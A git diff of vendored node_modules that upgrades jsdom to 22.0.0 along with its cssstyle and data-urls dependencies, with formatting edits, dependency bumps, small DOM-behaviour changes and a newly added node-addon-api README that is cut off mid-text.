b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderAfterColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('-webkit-border-after-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('-webkit-border-after-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderBeforeColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderBeforeColor.js index a4507a19..af6afe65 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderBeforeColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderBeforeColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('-webkit-border-before-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('-webkit-border-before-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderEndColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderEndColor.js index 499545dc..81eddfef 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderEndColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderEndColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('-webkit-border-end-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('-webkit-border-end-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderStartColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderStartColor.js index 8429e328..5045ec67 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderStartColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderStartColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('-webkit-border-start-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('-webkit-border-start-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitColumnRuleColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitColumnRuleColor.js index 7130d5f1..55ba5b11 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitColumnRuleColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitColumnRuleColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('-webkit-column-rule-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('-webkit-column-rule-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitMatchNearestMailBlockquoteColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitMatchNearestMailBlockquoteColor.js index e075891c..08a9324c 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitMatchNearestMailBlockquoteColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitMatchNearestMailBlockquoteColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('-webkit-match-nearest-mail-blockquote-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('-webkit-match-nearest-mail-blockquote-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTapHighlightColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTapHighlightColor.js index d0193294..e603f481 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTapHighlightColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTapHighlightColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('-webkit-tap-highlight-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('-webkit-tap-highlight-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextEmphasisColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextEmphasisColor.js index cdeab535..1a066900 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextEmphasisColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextEmphasisColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('-webkit-text-emphasis-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('-webkit-text-emphasis-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextFillColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextFillColor.js index ef5bd673..980fc472 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextFillColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextFillColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('-webkit-text-fill-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('-webkit-text-fill-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextStrokeColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextStrokeColor.js index 72a22779..1bdc6419 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextStrokeColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitTextStrokeColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('-webkit-text-stroke-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('-webkit-text-stroke-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/width.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/width.js index a8c365da..af534a17 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/width.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/width.js @@ -13,10 +13,10 @@ function parse(v) { } module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('width', parse(v)); }, - get: function() { + get: function () { return this.getPropertyValue('width'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/utils/getBasicPropertyDescriptor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/utils/getBasicPropertyDescriptor.js index ded2cc45..be0a9933 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/utils/getBasicPropertyDescriptor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/utils/getBasicPropertyDescriptor.js @@ -2,10 +2,10 @@ module.exports = function getBasicPropertyDescriptor(name) { return { - set: function(v) { + set: function (v) { this._setProperty(name, v); }, - get: function() { + get: function () { return this.getPropertyValue(name); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/package.json b/env_xbb_lastest_jsdom/node_modules/cssstyle/package.json index 7ded3070..5176c0e3 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/package.json +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/package.json @@ -6,7 +6,7 @@ "CSSStyleDeclaration", "StyleSheet" ], - "version": "2.3.0", + "version": "3.0.0", "homepage": "https://github.com/jsdom/cssstyle", "maintainers": [ { @@ -37,21 +37,21 @@ ], "main": "./lib/CSSStyleDeclaration.js", "dependencies": { - "cssom": "~0.3.6" + "rrweb-cssom": "^0.6.0" }, "devDependencies": { - "babel-generator": "~6.26.1", - "babel-traverse": "~6.26.0", - "babel-types": "~6.26.0", - "babylon": "~6.18.0", - "eslint": "~6.0.0", - "eslint-config-prettier": "~6.0.0", - "eslint-plugin-prettier": "~3.1.0", - "jest": "^24.8.0", + "babel-generator": "^6.26.1", + "babel-traverse": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "eslint": "^8.32.0", + "eslint-config-prettier": "^8.6.0", + "eslint-plugin-prettier": "^4.2.1", + "jest": "^29.3.1", + "minipass-fetch": "^3.0.1", "npm-run-all": "^4.1.5", - "prettier": "~1.18.0", - "request": "^2.88.0", - "resolve": "~1.11.1" + "prettier": "^2.8.3", + "resolve": "^1.22.1" }, "scripts": { "download": "node ./scripts/download_latest_properties.js && eslint lib/allProperties.js --fix", @@ -62,11 +62,11 @@ "lint:fix": "eslint . --fix --max-warnings 0", "prepublishOnly": "npm run lint && npm run test", "test": "npm run generate && jest", - "test-ci": "npm run lint && npm run test && codecov", + "test-ci": "npm run lint && npm run test", "update-authors": "git log --format=\"%aN <%aE>\" | sort -f | uniq > AUTHORS" }, "license": "MIT", "engines": { - "node": ">=8" + "node": ">=14" } } diff --git a/env_xbb_lastest_jsdom/node_modules/data-urls/package.json b/env_xbb_lastest_jsdom/node_modules/data-urls/package.json index 2c6b5a54..6b863044 100644 --- a/env_xbb_lastest_jsdom/node_modules/data-urls/package.json +++ b/env_xbb_lastest_jsdom/node_modules/data-urls/package.json @@ -9,7 +9,7 @@ "fetch", "whatwg" ], - "version": "3.0.2", + "version": "4.0.0", "author": "Domenic Denicola (https://domenic.me/)", "license": "MIT", "repository": "jsdom/data-urls", @@ -26,16 +26,16 @@ "dependencies": { "abab": "^2.0.6", "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0" + "whatwg-url": "^12.0.0" }, "devDependencies": { - "@domenic/eslint-config": "^2.0.0", - "eslint": "^8.14.0", - "jest": "^27.5.1", - "minipass-fetch": "^2.1.0" + "@domenic/eslint-config": "^3.0.0", + "eslint": "^8.31.0", + "jest": "^29.3.1", + "minipass-fetch": "^3.0.1" }, "engines": { - "node": ">=12" + "node": ">=14" }, "jest": { "coverageDirectory": "coverage", diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/README.md b/env_xbb_lastest_jsdom/node_modules/jsdom/README.md index 906a2a38..efe154b7 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/README.md +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/README.md @@ -5,7 +5,7 @@ jsdom is a pure-JavaScript implementation of many web standards, notably the WHATWG [DOM](https://dom.spec.whatwg.org/) and [HTML](https://html.spec.whatwg.org/multipage/) Standards, for use with Node.js. In general, the goal of the project is to emulate enough of a subset of a web browser to be useful for testing and scraping real-world web applications. -The latest versions of jsdom require Node.js v14 or newer. (Versions of jsdom below v20 still work with previous Node.js versions, but are unsupported.) +The latest versions of jsdom require Node.js v16 or newer. (Versions of jsdom below v22 still work with previous Node.js versions, but are unsupported.) ## Basic usage @@ -446,16 +446,6 @@ Timers in the jsdom (set by `window.setTimeout()` or `window.setInterval()`) wil If you want to be sure to shut down a jsdom window, use `window.close()`, which will terminate all running timers (and also remove any event listeners on the window and document). -### Running jsdom inside a web browser - -jsdom has some support for being run inside a web browser, using [browserify](https://browserify.org/). That is, inside a web browser, you can use a browserified jsdom to create an entirely self-contained set of plain JavaScript objects which look and act much like the browser's existing DOM objects, while being entirely independent of them. "Virtual DOM", indeed! - -jsdom's primary target is still Node.js, and so we use language features that are only present in recent Node.js versions. Thus, older browsers will likely not work. (Even transpilation will not help: we use `Proxy`s extensively throughout the jsdom codebase.) - -Notably, jsdom works well inside a web worker. The original contributor, [@lawnsea](https://github.com/lawnsea/), who made this possible, has [published a paper](https://pdfs.semanticscholar.org/47f0/6bb6607a975500a30e9e52d7c9fbc0034e27.pdf) about his project which uses this capability. - -Not everything works perfectly when running jsdom inside a web browser. Sometimes that is because of fundamental limitations (such as not having filesystem access), but sometimes it is simply because we haven't spent enough time making the appropriate small tweaks. Bug reports are certainly welcome. - ### Debugging the DOM using Chrome DevTools In Node.js you can debug programs using Chrome DevTools. See the [official documentation](https://nodejs.org/en/docs/inspector/) for how to get started. diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/api.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/api.js index f69998cc..75d267b7 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/api.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/api.js @@ -95,6 +95,7 @@ class JSDOM { document._URL = url; document._origin = whatwgURL.serializeURLOrigin(document._URL); + this[window]._sessionHistory.currentEntry.url = url; } } diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/browser/Window.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/browser/Window.js index a2b88df5..247acad2 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/browser/Window.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/browser/Window.js @@ -4,7 +4,7 @@ const webIDLConversions = require("webidl-conversions"); const { CSSStyleDeclaration } = require("cssstyle"); const notImplemented = require("./not-implemented"); const { installInterfaces } = require("../living/interfaces"); -const { define, mixin, performance } = require("../utils"); +const { define, mixin } = require("../utils"); const Element = require("../living/generated/Element"); const EventTarget = require("../living/generated/EventTarget"); const EventHandlerNonNull = require("../living/generated/EventHandlerNonNull"); diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/level2/style.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/level2/style.js index bf236b90..09263ae7 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/level2/style.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/level2/style.js @@ -1,5 +1,5 @@ "use strict"; -const cssom = require("cssom"); +const cssom = require("rrweb-cssom"); const cssstyle = require("cssstyle"); exports.addToCore = core => { diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/events/MouseEvent-impl.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/events/MouseEvent-impl.js index 4e15fdf4..15b309e8 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/events/MouseEvent-impl.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/events/MouseEvent-impl.js @@ -5,7 +5,6 @@ const EventModifierMixinImpl = require("./EventModifierMixin-impl").implementati const UIEventImpl = require("./UIEvent-impl").implementation; const MouseEventInit = require("../generated/MouseEventInit"); -const { wrapperForImpl } = require("../generated/utils"); class MouseEventImpl extends UIEventImpl { get x() { @@ -15,29 +14,19 @@ class MouseEventImpl extends UIEventImpl { return this.clientY; } get pageX() { - if (this._dispatchFlag) { - return 0; - } - const offset = wrapperForImpl(this.view)?.scrollX || 0; - return offset + this.clientX; + // TODO: consider dispatch flag and return page-relative event coordinate once layout is supported + return this.clientX; // TODO: add horizontal scroll offset once jsdom implements scrolling support } get pageY() { - if (this._dispatchFlag) { - return 0; - } - const offset = wrapperForImpl(this.view)?.scrollY || 0; - return offset + this.clientY; + // TODO: consider dispatch flag and return page-relative event coordinate once layout is supported + return this.clientY; // TODO: add vertical scroll offset once jsdom implements scrolling support } get offsetX() { - if (this._dispatchFlag) { - return 0; - } + // TODO: consider dispatch flag and return target-relative event coordinate once layout is supported return this.pageX; } get offsetY() { - if (this._dispatchFlag) { - return 0; - } + // TODO: consider dispatch flag and return target-relative event coordinate once layout is supported return this.pageY; } diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/helpers/style-rules.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/helpers/style-rules.js index be77d041..8f52e3e2 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/helpers/style-rules.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/helpers/style-rules.js @@ -1,5 +1,5 @@ "use strict"; -const cssom = require("cssom"); +const cssom = require("rrweb-cssom"); const { CSSStyleDeclaration } = require("cssstyle"); const defaultStyleSheet = require("../../browser/default-stylesheet"); const { matchesDontThrow } = require("./selectors"); diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/helpers/stylesheets.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/helpers/stylesheets.js index 0416b31f..9b44b6db 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/helpers/stylesheets.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/helpers/stylesheets.js @@ -1,5 +1,5 @@ "use strict"; -const cssom = require("cssom"); +const cssom = require("rrweb-cssom"); const whatwgEncoding = require("whatwg-encoding"); const whatwgURL = require("whatwg-url"); const { invalidateStyleCache } = require("./style-rules"); diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/hr-time/Performance-impl.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/hr-time/Performance-impl.js index 5a65da54..023931c7 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/hr-time/Performance-impl.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/hr-time/Performance-impl.js @@ -1,7 +1,6 @@ "use strict"; const EventTargetImpl = require("../events/EventTarget-impl").implementation; -const { performance } = require("../../utils"); class PerformanceImpl extends EventTargetImpl { constructor(globalObject, args, privateData) { diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/nodes/HTMLInputElement-impl.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/nodes/HTMLInputElement-impl.js index 0de3afe6..74c645ea 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/nodes/HTMLInputElement-impl.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/nodes/HTMLInputElement-impl.js @@ -573,7 +573,7 @@ class HTMLInputElementImpl extends HTMLElementImpl { get files() { if (this.type === "file") { - this[filesSymbol] = this[filesSymbol] || FileList.createImpl(this._globalObject); + this[filesSymbol] ||= FileList.createImpl(this._globalObject); } else { this[filesSymbol] = null; } @@ -596,7 +596,7 @@ class HTMLInputElementImpl extends HTMLElementImpl { } _dispatchSelectEvent() { - fireAnEvent("select", this, undefined, { bubbles: true, cancelable: true }); + setTimeout(() => fireAnEvent("select", this, undefined, { bubbles: true, cancelable: false }), 0); } _getValueLength() { @@ -694,7 +694,7 @@ class HTMLInputElementImpl extends HTMLElementImpl { this.value = val.slice(0, start) + repl + val.slice(end); - const newEnd = start + this.value.length; + const newEnd = start + repl.length; if (selectionMode === "select") { this.setSelectionRange(start, newEnd); diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/nodes/HTMLTextAreaElement-impl.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/nodes/HTMLTextAreaElement-impl.js index 427dfa4f..4288f1b4 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/nodes/HTMLTextAreaElement-impl.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/nodes/HTMLTextAreaElement-impl.js @@ -94,7 +94,7 @@ class HTMLTextAreaElementImpl extends HTMLElementImpl { } _dispatchSelectEvent() { - fireAnEvent("select", this, undefined, { bubbles: true, cancelable: true }); + setTimeout(() => fireAnEvent("select", this, undefined, { bubbles: true, cancelable: false }), 0); } _getValueLength() { @@ -156,7 +156,7 @@ class HTMLTextAreaElementImpl extends HTMLElementImpl { this.value = val.slice(0, start) + repl + val.slice(end); - const newEnd = start + this.value.length; + const newEnd = start + repl.length; if (selectionMode === "select") { this.setSelectionRange(start, newEnd); diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/window/Location-impl.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/window/Location-impl.js index b3607f30..7ca63caf 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/window/Location-impl.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/living/window/Location-impl.js @@ -182,16 +182,12 @@ exports.implementation = class LocationImpl { set hash(v) { const copyURL = { ...this._url }; - if (copyURL.scheme === "javascript") { - return; - } + const input = v[0] === "#" ? v.substring(1) : v; + copyURL.fragment = ""; + whatwgURL.basicURLParse(input, { url: copyURL, stateOverride: "fragment" }); - if (v === "") { - copyURL.fragment = null; - } else { - const input = v[0] === "#" ? v.substring(1) : v; - copyURL.fragment = ""; - whatwgURL.basicURLParse(input, { url: copyURL, stateOverride: "fragment" }); + if (copyURL.fragment === this._url.fragment) { + return; } this._locationObjectSetterNavigate(copyURL); diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/utils.js b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/utils.js index 1865e352..e3097527 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/utils.js +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/lib/jsdom/utils.js @@ -2,7 +2,6 @@ const path = require("path"); const whatwgURL = require("whatwg-url"); const { domSymbolTree } = require("./living/helpers/internal-constants"); -const perfHooks = require("perf_hooks"); const SYMBOL_TREE_POSITION = require("symbol-tree").TreePosition; exports.toFileUrl = function (fileName) { @@ -145,23 +144,9 @@ exports.treeOrderSorter = function (a, b) { return 0; }; -// TODO: remove once Node v16 is the minimum version. -exports.performance = globalThis.performance || perfHooks.performance; - /* eslint-disable global-require */ - -exports.Canvas = null; -let canvasInstalled = false; try { - require.resolve("canvas"); - canvasInstalled = true; -} catch (e) { - // canvas is not installed -} -if (canvasInstalled) { - const Canvas = require("canvas"); - if (typeof Canvas.createCanvas === "function") { - // In browserify, the require will succeed but return an empty object - exports.Canvas = Canvas; - } + exports.Canvas = require("canvas"); +} catch { + exports.Canvas = null; } diff --git a/env_xbb_lastest_jsdom/node_modules/jsdom/package.json b/env_xbb_lastest_jsdom/node_modules/jsdom/package.json index 44bbf18f..4eb93f16 100644 --- a/env_xbb_lastest_jsdom/node_modules/jsdom/package.json +++ b/env_xbb_lastest_jsdom/node_modules/jsdom/package.json @@ -1,6 +1,6 @@ { "name": "jsdom", - "version": "21.1.0", + "version": "22.0.0", "description": "A JavaScript implementation of many web standards", "keywords": [ "dom", @@ -21,21 +21,18 @@ "repository": "jsdom/jsdom", "dependencies": { "abab": "^2.0.6", - "acorn": "^8.8.1", - "acorn-globals": "^7.0.0", - "cssom": "^0.5.0", - "cssstyle": "^2.3.0", - "data-urls": "^3.0.2", - "decimal.js": "^10.4.2", + "cssstyle": "^3.0.0", + "data-urls": "^4.0.0", + "decimal.js": "^10.4.3", "domexception": "^4.0.0", - "escodegen": "^2.0.0", "form-data": "^4.0.0", "html-encoding-sniffer": "^3.0.0", "http-proxy-agent": "^5.0.0", "https-proxy-agent": "^5.0.1", "is-potential-custom-element-name": "^1.0.1", - "nwsapi": "^2.2.2", - "parse5": "^7.1.1", + "nwsapi": "^2.2.4", + "parse5": "^7.1.2", + "rrweb-cssom": "^0.6.0", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", "tough-cookie": "^4.1.2", @@ -43,8 +40,8 @@ "webidl-conversions": "^7.0.0", "whatwg-encoding": "^2.0.0", "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0", - "ws": "^8.11.0", + "whatwg-url": "^12.0.1", + "ws": "^8.13.0", "xml-name-validator": "^4.0.0" }, "peerDependencies": { @@ -58,31 +55,18 @@ "devDependencies": { "@domenic/eslint-config": "^3.0.0", "benchmark": "^2.1.4", - "browserify": "^17.0.0", "chai": "^4.3.7", - "eslint": "^8.28.0", + "eslint": "^8.39.0", "eslint-plugin-html": "^7.1.0", "eslint-plugin-jsdom-internal": "link:./scripts/eslint-plugin", "js-yaml": "^4.1.0", - "karma": "^6.4.1", - "karma-browserify": "^8.1.0", - "karma-chrome-launcher": "^3.1.1", - "karma-mocha": "^2.0.1", - "karma-mocha-webworker": "^1.3.0", - "minimatch": "^5.1.0", - "mocha": "^10.1.0", + "minimatch": "^9.0.0", + "mocha": "^10.2.0", "mocha-sugar-free": "^1.4.0", - "pngjs": "^6.0.0", - "rimraf": "^3.0.2", + "pngjs": "^7.0.0", "server-destroy": "^1.0.1", - "watchify": "^4.0.0", "webidl2js": "^17.1.0", - "yargs": "^17.6.2" - }, - "browser": { - "canvas": false, - "vm": "./lib/jsdom/vm-shim.js", - "./lib/jsdom/living/websockets/WebSocket-impl.js": "./lib/jsdom/living/websockets/WebSocket-impl-browser.js" + "yargs": "^17.7.2" }, "scripts": { "prepare": "yarn convert-idl && yarn generate-js-globals", @@ -92,21 +76,17 @@ "test-mocha": "mocha", "test-api": "mocha test/api", "test": "mocha test/index.js", - "test-browser-iframe": "karma start test/karma.conf.js", - "test-browser-worker": "karma start test/karma-webworker.conf.js", - "test-browser": "yarn test-browser-iframe && yarn test-browser-worker", "lint": "eslint . --cache --ext .js,.html", "init-wpt": "git submodule update --init --recursive", - "reset-wpt": "rimraf ./test/web-platform-tests/tests && yarn init-wpt", + "reset-wpt": "rm -rf ./test/web-platform-tests/tests && yarn init-wpt", "update-wpt": "git submodule update --recursive --remote && cd test/web-platform-tests/tests && python3 wpt.py manifest --path ../wpt-manifest.json", "update-authors": "git log --format=\"%aN <%aE>\" | sort -f | uniq > AUTHORS.txt", "benchmark": "node ./benchmark/runner", - "benchmark-browser": "node ./benchmark/runner --bundle", "convert-idl": "node ./scripts/webidl/convert.js", "generate-js-globals": "node ./scripts/generate-js-globals.js" }, "main": "./lib/api.js", "engines": { - "node": ">=14" + "node": ">=16" } } diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/LICENSE.md b/env_xbb_lastest_jsdom/node_modules/node-addon-api/LICENSE.md new file mode 100644 index 00000000..e2fad666 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/LICENSE.md @@ -0,0 +1,13 @@ +The MIT License (MIT) +===================== + +Copyright (c) 2017 Node.js API collaborators +----------------------------------- + +*Node.js API collaborators listed at * + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/README.md b/env_xbb_lastest_jsdom/node_modules/node-addon-api/README.md new file mode 100644 index 00000000..5dd8db81 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/README.md @@ -0,0 +1,317 @@ +NOTE: The default branch has been renamed! +master is now named main + +If you have a local clone, you can update it by running: + +```shell +git branch -m master main +git fetch origin +git branch -u origin/main main +``` + +# **node-addon-api module** +This module contains **header-only C++ wrapper classes** which simplify +the use of the C based [Node-API](https://nodejs.org/dist/latest/docs/api/n-api.html) +provided by Node.js when using C++. It provides a C++ object model +and exception handling semantics with low overhead. + +There are three options for implementing addons: Node-API, nan, or direct +use of internal V8, libuv, and Node.js libraries. Unless there is a need for +direct access to functionality that is not exposed by Node-API as outlined +in [C/C++ addons](https://nodejs.org/dist/latest/docs/api/addons.html) +in Node.js core, use Node-API. Refer to +[C/C++ addons with Node-API](https://nodejs.org/dist/latest/docs/api/n-api.html) +for more information on Node-API. + +Node-API is an ABI stable C interface provided by Node.js for building native +addons. It is independent of the underlying JavaScript runtime (e.g. V8 or ChakraCore) +and is maintained as part of Node.js itself. It is intended to insulate +native addons from changes in the underlying JavaScript engine and allow +modules compiled for one version to run on later versions of Node.js without +recompilation. + +The `node-addon-api` module, which is not part of Node.js, preserves the benefits +of the Node-API as it consists only of inline code that depends only on the stable API +provided by Node-API. As such, modules built against one version of Node.js +using node-addon-api should run without having to be rebuilt with newer versions +of Node.js. + +It is important to remember that *other* Node.js interfaces such as +`libuv` (included in a project via `#include `) are not ABI-stable across +Node.js major versions. Thus, an addon must use Node-API and/or `node-addon-api` +exclusively and build against a version of Node.js that includes an +implementation of Node-API (meaning an active LTS version of Node.js) in +order to benefit from ABI stability across Node.js major versions. Node.js +provides an [ABI stability guide][] containing a detailed explanation of ABI +stability in general, and the Node-API ABI stability guarantee in particular. + +As new APIs are added to Node-API, node-addon-api must be updated to provide +wrappers for those 